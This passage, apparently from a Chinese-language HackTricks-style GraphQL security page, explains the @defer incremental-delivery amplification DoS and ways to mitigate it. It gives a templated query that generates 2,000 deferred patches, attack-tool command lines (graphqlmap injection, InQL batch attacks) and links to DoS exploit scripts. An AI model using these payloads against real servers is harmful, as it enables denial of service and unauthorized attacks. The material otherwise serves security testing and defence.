2023 年以来大多数主要服务器 (Apollo 4, GraphQL-Java 20+, HotChocolate 13) 实现了由 GraphQL-over-HTTP WG 定义的 **增量交付** 指令每个延迟补丁作为 **单独的块** 发送因此总响应大小变为 *N + 1* (信封 + 补丁)。包含数千个小延迟字段的查询因此会产生大量响应而攻击者只需一次请求 这是一种经典的 **放大 DoS** 和绕过仅检查第一个块的主体大小 WAF 规则的方法WG 成员自己标记了这一风险
生成 2 000 个补丁的示例有效负载:
```graphql
query abuse {
% for i in range(0,2000):
f{{i}}: __typename @defer
% endfor
}
```
缓解措施在生产环境中禁用 `@defer/@stream` 或强制执行 `max_patches`累积 `max_bytes` 和执行时间 **graphql-armor** 这样的库见下文已经强制执行合理的默认值
---
## 防御性中间件 (2024+)
| 项目 | 备注 |
|---|---|
| **graphql-armor** | Escape Tech 发布的 Node/TypeScript 验证中间件实现了即插即用的查询深度别名/字段/指令计数令牌和成本限制 Apollo ServerGraphQL Yoga/EnvelopHelix 等兼容 |
快速开始
```ts
import { protect } from '@escape.tech/graphql-armor';
import { applyMiddleware } from 'graphql-middleware';
const protectedSchema = applyMiddleware(schema, ...protect());
```
`graphql-armor` 现在将阻止过于深层复杂或指令过多的查询以保护上述 CVE
---
## 工具
### 漏洞扫描器
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): 测试 graphql 端点的常见错误配置
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): 重点进行批量 GraphQL 查询和变更的 GraphQL 安全审计脚本
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): 指纹识别正在使用的 graphql
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): 可用于抓取模式和搜索敏感数据测试授权暴力破解模式并找到给定类型的路径的工具包
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): 可作为独立工具或 [Burp 扩展](https://github.com/doyensec/inql) 使用
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): 也可以作为 CLI 客户端使用以自动化攻击 `python3 graphqlmap.py -u http://example.com/graphql --inject`
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): 列出在 GraphQL 模式中到达给定类型的不同方式的工具
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Standalone CLI 模式的 InQL 的继任者
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 用于高级 GraphQL 测试的 Burp 扩展或 Python 脚本 _**Scanner**_ InQL v5.0 的核心您可以分析 GraphQL 端点或本地 introspection 模式文件它会自动生成所有可能的查询和变更并将其组织成结构化视图以供分析_**Attacker**_ 组件允许您运行批量 GraphQL 攻击这对于规避实现不良的速率限制非常有用 `python3 inql.py -t http://example.com/graphql -o output.json`
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): 尝试通过使用一些 Graphql 数据库的帮助即使在禁用 introspection 的情况下也获取模式这些数据库将建议变更和参数的名称
### 利用常见漏洞的脚本
- [https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS](https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS): 用于利用脆弱 graphql 环境中的拒绝服务漏洞的脚本集合
### 客户端
- [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): GUI 客户端
- [https://altair.sirmuel.design/](https://altair.sirmuel.design/): GUI 客户端
### 自动测试
{{#ref}}
https://graphql-dashboard.herokuapp.com/
{{#endref}}
- 解释 AutoGraphQL 的视频: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
## 参考
- [**https://jondow.eu/practical-graphql-attack-vectors/**](https://jondow.eu/practical-graphql-attack-vectors/)
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
- [**https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4**](https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4)
- [**http://ghostlulz.com/api-hacking-graphql/**](http://ghostlulz.com/api-hacking-graphql/)
- [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md)
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
- [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
- [**https://github.com/advisories/GHSA-5gc2-7c65-8fq8**](https://github.com/advisories/GHSA-5gc2-7c65-8fq8)
- [**https://github.com/escape-tech/graphql-armor**](https://github.com/escape-tech/graphql-armor)
{{#include ../../banners/hacktricks-training.md}}